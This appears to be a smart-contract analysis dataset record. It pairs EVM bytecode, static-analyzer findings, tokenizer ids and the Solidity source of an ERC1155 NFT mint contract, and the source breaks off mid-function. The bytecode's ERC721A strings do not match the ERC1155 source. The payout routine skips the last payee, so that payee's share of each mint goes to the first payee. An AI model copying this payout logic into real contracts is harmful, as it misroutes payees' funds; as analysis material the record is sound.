4db58161479e565b9050919050565b60006020820190508181036000830152614dd5816147c1565b9050919050565b60006020820190508181036000830152614df5816147e4565b9050919050565b60006020820190508181036000830152614e1581614807565b9050919050565b60006020820190508181036000830152614e358161482a565b9050919050565b60006020820190508181036000830152614e558161484d565b9050919050565b60006020820190508181036000830152614e7581614870565b9050919050565b60006020820190508181036000830152614e9581614893565b9050919050565b600060c082019050614eb160008301856148b6565b81810360a0830152614ec3818461440f565b90509392505050565b600060c082019050614ee1600083018761491e565b8181036060830152614ef3818661440f565b90508181036080830152614f07818561440f565b9050614f1660a083018461434b565b95945050505050565b6000602082019050614f34600083018461496f565b92915050565b6000614f44614f55565b9050614f508282615326565b919050565b6000604051905090565b600067ffffffffffffffff821115614f7a57614f79615497565b5b602082029050602081019050919050565b600067ffffffffffffffff821115614fa657614fa5615497565b5b614faf826154e4565b9050602081019050919050565b600067ffffffffffffffff821115614fd757614fd6615497565b5b614fe0826154e4565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061507482615242565b915061507f83615242565b9250826fffffffffffffffffffffffffffffffff038211156150a4576150a36153db565b5b828201905092915050565b60006150ba8261527e565b91506150c58361527e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156150fa576150f96153db565b5b828201905092915050565b60006151108261527e565b915061511b8361527e565b92508261512b5761512a61540a565b5b828204905092915050565b60006151418261527e565b915061514c8361527e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615615185576151846153db565b5b828202905092915050565b600061519b82615242565b91506151a683615242565b9250828210156151b9576151b86153db565b5b828203905092915050565b60006151cf8261527e565b91506151da8361527e565b9250828210156151ed576151ec6153db565b5b828203905092915050565b60006152038261525e565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156152b557808201518184015260208101905061529a565b838111156152c4576000848401525b50505050565b60006152d58261527e565b915060008214156152e9576152e86153db565b5b600182039050919050565b6000600282049050600182168061530c57607f821691505b602082108114156153205761531f615439565b5b50919050565b61532f826154e4565b810181811067ffffffffffffffff8211171561534e5761534d615497565b5b80604052505050565b60006153628261527e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415615395576153946153db565b5b600182019050919050565b6000819050919050565b60006153b58261527e565b91506153c08361527e565b9250826153d0576153cf61540a565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d6f64656c206e6f7420617661696c61626c6500000000000000000000000000600082015250565b7f436f6c6c656374696f6e206e6f7420666f756e64000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f53706563696669656420746f6b656e7320696e206e6f7420756e697175650000600082015250565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f436f6d62696e6174696f6e20616c726561647920657869737400000000000000600082015250565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f56616c75652062656c6f77207072696365000000000000000000000000000000600082015250565b7f4e6f742073706563696669656420746f6b656e73000000000000000000000000600082015250565b7f4578636565647320323000000000000000000000000000000000000000000000600082015250565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b7f455243373231413a20746f6b656e20616c7265616479206d696e746564000000600082015250565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f546f6b656e206e6f742065786973740000000000000000000000000000000000600082015250565b7f436f6c6c656374696f6e206e6f7420617661696c61626c650000000000000000600082015250565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b7f53656e646572206e6f74206f776e20616c6c2073706563696669656420746f6b60008201527f656e730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b7f455243373231413a207175616e7469747920746f206d696e7420746f6f20686960008201527f6768000000000000000000000000000000000000000000000000000000000000602082015250565b7f436f6c6c656374696f6e20616c72656164792061646465640000000000000000600082015250565b615ca1816151f8565b8114615cac57600080fd5b50565b615cb88161520a565b8114615cc357600080fd5b50565b615ccf81615216565b8114615cda57600080fd5b50565b615ce68161527e565b8114615cf157600080fd5b5056fea2646970667358221220f6149da181d973ae3d18d48d4cd6dfa943c09c5c592b072c4b236522cbe492f264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 8889, 2497, 2581, 2581, 21472, 2509, 13775, 2581, 2497, 2575, 2050, 2581, 10322, 2546, 14526, 2620, 2683, 4402, 2581, 5243, 2050, 22203, 2094, 2575, 2278, 22932, 2546, 1013, 1013, 1013, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1064, 1032, 1013, 1064, 1064, 1064, 1064, 1032, 1013, 1064, 1064, 1064, 1013, 1013, 1064, 1012, 1012, 1064, 1035, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1035, 1064, 1012, 1012, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1035, 1035, 1013, 1013, 1064, 1064, 1032, 1013, 1064, 1064, 1013, 1035, 1032, 1035, 1035, 1013, 1035, 1036, 1064, 1064, 1032, 1013, 1064, 1064, 1013, 1035, 1032, 1005, 1035, 1035, 1013, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,851
0x95d02b716D9E76CFFdfB83b28cD35912f80f3300
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import './AMPowerPassCore.sol'; contract HunnysPowerPass is AMPowerPassCore{ string public name = "Hunnys: Power-Pass Plus"; string public symbol = "AM: H"; constructor() Delegated() AM1155Base(""){ setToken( 0, "Hunnys: Power-Pass Plus", "https://herodev.mypinata.cloud/ipfs/QmctGRRtUnyh9ogZgCjgw4mG2v58RSuJJMFqNzw4jfB7Y1/hunnys.json", false, 0, false, 0.05 ether, 10000 ); address[] memory _payees = new address[](11); _payees[0] = 0xed386149321FBd84f0c4e27a1701Ad05eCA32f8A; _payees[1] = 0x70184259C8CbF0B85C96e2A84ad74EB097759aeE; _payees[2] = 0x187BA313bEEE55957c30F062a6c53A5F0c1971c5; _payees[3] = 0x5f120c28532Db7fA8CECfF750368F7B17aA163D0; _payees[4] = 0xf7168a9Ef4286b2961850Fd98D4A7C9D99c5257b; _payees[5] = 0x4f95219f13dC43641645B5ebE5259b040e38b281; _payees[6] = 0xD4eed5986682b822fF461979Ac8989031A64a5Ec; _payees[7] = 0x9b34A953c01E0f58cFD78818C95DA5a84e9E6a3C; _payees[8] = 0x2027e0fE56278f671D174CbE4BCd7A42D25cc6a3; _payees[9] = 0xee01560234F8fa4fdc909e247393Bf2d502CDc22; _payees[10] = 0x5173E83B78A050CCD165A94C59CA71Ce4f7eeD15; uint[] memory _shares = new uint[](11); _shares[0] = 7.00 ether; _shares[1] = 4.65 ether; _shares[2] = 2.79 ether; _shares[3] = 13.95 ether; _shares[4] = 45.57 ether; _shares[5] = 4.65 ether; _shares[6] = 4.65 ether; _shares[7] = 4.65 ether; _shares[8] = 4.65 ether; _shares[9] = 2.79 ether; _shares[10] = 4.65 ether; setTokenPayouts( 0, _payees, _shares ); setAccessCollection( IBalance(0x5DFEB75aBae11b138A16583E03A2bE17740EADeD) ); } } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.0; /*********************** * @author: squeebo_nft * ************************/ import "@openzeppelin/contracts/access/Ownable.sol"; contract Delegated is Ownable{ mapping(address => bool) internal _delegates; constructor(){ _delegates[owner()] = true; } modifier onlyDelegates { require(_delegates[msg.sender], "Invalid delegate" ); _; } //onlyOwner function isDelegate( address addr ) external view onlyOwner returns ( bool ){ return _delegates[addr]; } function setDelegate( address addr, bool isDelegate_ ) external onlyOwner{ _delegates[addr] = isDelegate_; } function transferOwnership(address newOwner) public virtual override onlyOwner { _delegates[newOwner] = true; super.transferOwnership( newOwner ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '../../Blimpie/Delegated.sol'; import '../IPowerPass1155.sol'; import './AM1155Base.sol'; interface IBalance { function balanceOf(address owner) external view returns(uint256); } abstract contract AMPowerPassCore is Delegated, AM1155Base, IPowerPass1155{ struct Token { uint burnPrice; uint mintPrice; uint balance; uint supply; bool isBurnActive; bool isMintActive; string name; string uri; address[] payees; uint[] shares; uint totalShares; } IBalance public accessCollection; Token[] public tokens; //holds payee balances mapping(address => uint) public payouts; //safety first fallback() external payable {} receive() external payable {} //view function exists(uint id) public view returns( bool ){ return id < tokens.length; } function tokenSupply( uint id ) external view returns( uint ){ require(exists( id ), "ERC1155: Specified token (id) does not exist"); return tokens[id].supply; } function totalSupply( uint id ) external view returns( uint ){ require(exists( id ), "ERC1155: Specified token (id) does not exist"); return tokens[id].supply; } function uri( uint id ) public view override returns( string memory ){ require(exists( id ), "ERC1155: Specified token (id) does not exist"); return tokens[id].uri; } //nonpayable function release(address account) external { require( payouts[ account ] > 0, "ERC1155: No balance due" ); require( payouts[ account ] < address(this).balance, "ERC1155: Insufficent contract balance"); uint balance = payouts[ account ]; payouts[ account ] = 0; Address.sendValue(payable(account), balance); } //payable function mint( uint id, uint quantity ) public virtual payable{ require(exists( id ), "ERC1155: Specified token (id) does not exist"); Token storage token = tokens[id]; require( token.isMintActive, "ERC1155: Sale is not active"); require( token.balance + quantity <= token.supply, "ERC1155: Order exceeds supply"); require( token.mintPrice * quantity <= msg.value, "ERC1155: Ether sent is not correct"); require( token.totalShares > 0, "ERC1155: Invalid token configuration, shares" ); if( address(accessCollection) != address(0) ) require( accessCollection.balanceOf( msg.sender ) > 0, "ERC1155: Access token balance is 0" ); if( msg.value > 0 ) _distrubuteValue( token ); _mint( _msgSender(), id, quantity, "" ); } //delegated function burnFrom( uint id, uint quantity, address account ) external payable onlyDelegates { require(exists( id ), "ERC1155: Specified token (id) does not exist"); if( msg.value > 0 ) _distrubuteValue( tokens[id] ); _burn( account, id, quantity ); } function mintTo( uint id, uint[] calldata quantities, address[] calldata accounts ) external payable onlyDelegates { require(exists(id), "ERC1155: Specified token (id) does not exist"); require(quantities.length == accounts.length, "ERC1155: accounts and quantities length mismatch"); if( msg.value > 0 ) _distrubuteValue( tokens[id] ); for(uint i; i < accounts.length; ++i ){ _mint( accounts[i], id, quantities[i], "" ); } } function setAccessCollection( IBalance collection ) public onlyDelegates { accessCollection = collection; } function setToken(uint id, string memory name_, string memory uri_, bool isBurnActive, uint burnPrice, bool isMintActive, uint mintPrice, uint supply ) public onlyDelegates{ require( id < tokens.length || id == tokens.length, "ERC1155: Invalid token id" ); if( id == tokens.length ) tokens.push(); Token storage token = tokens[id]; token.burnPrice = burnPrice; token.mintPrice = mintPrice; token.supply = supply; token.isBurnActive = isBurnActive; token.isMintActive = isMintActive; token.name = name_; token.uri = uri_; if( bytes(uri_).length > 0 ) emit URI( uri_, id ); } function setTokenPayouts( uint id, address[] memory payees, uint[] memory shares ) public onlyDelegates { require( id < tokens.length, "ERC1155: Invalid token id" ); require( payees.length > 0, "ERC1155: Must provide 1+ payees" ); require( payees.length == shares.length, "ERC1155: Must provide equal payees and shares" ); tokens[id].payees = payees; tokens[id].shares = shares; uint total; for(uint i; i < shares.length; ++i ){ require( payees[i] != address(0), "ERC1155: Payees cannot be empty" ); require( shares[i] > 0, "ERC1155: Shares cannot be empty" ); total += shares[i]; } tokens[id].totalShares = total; } function setSupply(uint id, uint supply) public onlyDelegates { require( exists( id ), "ERC1155: Specified token (id) does not exist" ); Token storage token = tokens[id]; require( token.balance <= supply, "ERC1155: Specified supply is lower than current balance" ); token.supply = supply; } function setURI(uint id, string calldata uri_) external onlyDelegates{ require( exists( id ), "ERC1155: Specified token (id) does not exist" ); tokens[id].uri = uri_; emit URI( uri_, id ); } function _burn(address account, uint256 id, uint256 amount) private { require(exists( id ), "ERC1155: Specified token (id) does not exist" ); Token storage token = tokens[id]; require( token.balance >= amount, "ERC1155: Not enough supply" ); tokens[id].balance -= amount; tokens[id].supply -= amount; //START: base implementation uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } address operator = _msgSender(); emit TransferSingle(operator, account, address(0), id, amount); } function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal { require(exists( id ), "ERC1155: Specified token (id) does not exist" ); Token storage token = tokens[id]; require( token.balance + amount <= token.supply, "ERC1155: Not enough supply" ); token.balance += amount; //START: base implementation _balances[id][account] += amount; address operator = _msgSender(); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } //private function _distrubuteValue( Token memory token ) internal{ uint share; uint total; for(uint i = 1; i < token.payees.length - 1; ++i ){ share = msg.value * token.shares[i] / token.totalShares; payouts[ token.payees[i] ] += share; total += share; } //solidity will floor() the math, give remainder (majority) to first payee share = msg.value - total; payouts[ token.payees[0] ] += share; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; contract AM1155Base is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) internal _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) internal { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) internal pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IPowerPass1155{ function burnFrom( uint id, uint quantity, address account ) external payable; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) 